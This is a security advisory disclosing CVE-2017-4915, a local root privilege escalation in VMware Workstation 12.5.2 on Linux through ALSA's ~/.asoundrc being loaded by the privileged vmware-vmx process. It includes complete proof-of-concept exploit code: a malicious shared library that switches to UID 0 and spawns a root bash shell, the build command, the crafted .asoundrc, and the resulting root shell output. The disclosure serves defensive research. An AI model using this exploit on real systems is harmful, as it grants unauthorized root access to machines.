VMWare Workstation on Linux: unprivileged host user -> host root privesc via ALSA config 

CVE-2017-4915


This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.

The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:


~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
  if (strcmp(program_invocation_short_name, "vmware-vmx"))
    return;

  uid_t ruid, euid, suid;
  if (getresuid(&ruid, &euid, &suid))
    err(1, "getresuid");
  printf("current UIDs: %d %d %d\n", ruid, euid, suid);
  if (ruid == 0 || euid == 0 || suid == 0) {
    if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
      err(1, "setresxid");
    printf("switched to root UID and GID");
    system("/bin/bash");
    _exit(0);
  }
}
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vmware_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ vmware


Next, in the VMWare Workstation UI, open a VM with a virtual sound
card and start it. Now, in the terminal, a root shell will appear:


/tmp$ vmware
current UIDs: 1000 1000 0
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
bash: no job control in this shell
~/vmware/Debian 8.x 64-bit# id
uid=0(root) gid=0(root) groups=0(root),[...]
~/vmware/Debian 8.x 64-bit# 


I believe that the ideal way to fix this would be to run all code that
doesn't require elevated privileges - like the code for sound card
emulation - in an unprivileged process. However, for now, moving only
the audio output handling into an unprivileged process might also do
the job; I haven't yet checked whether there are more libraries VMWare
Workstation loads that permit loading arbitrary libraries into the
vmware-vmx process.

Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.



Found by: jannh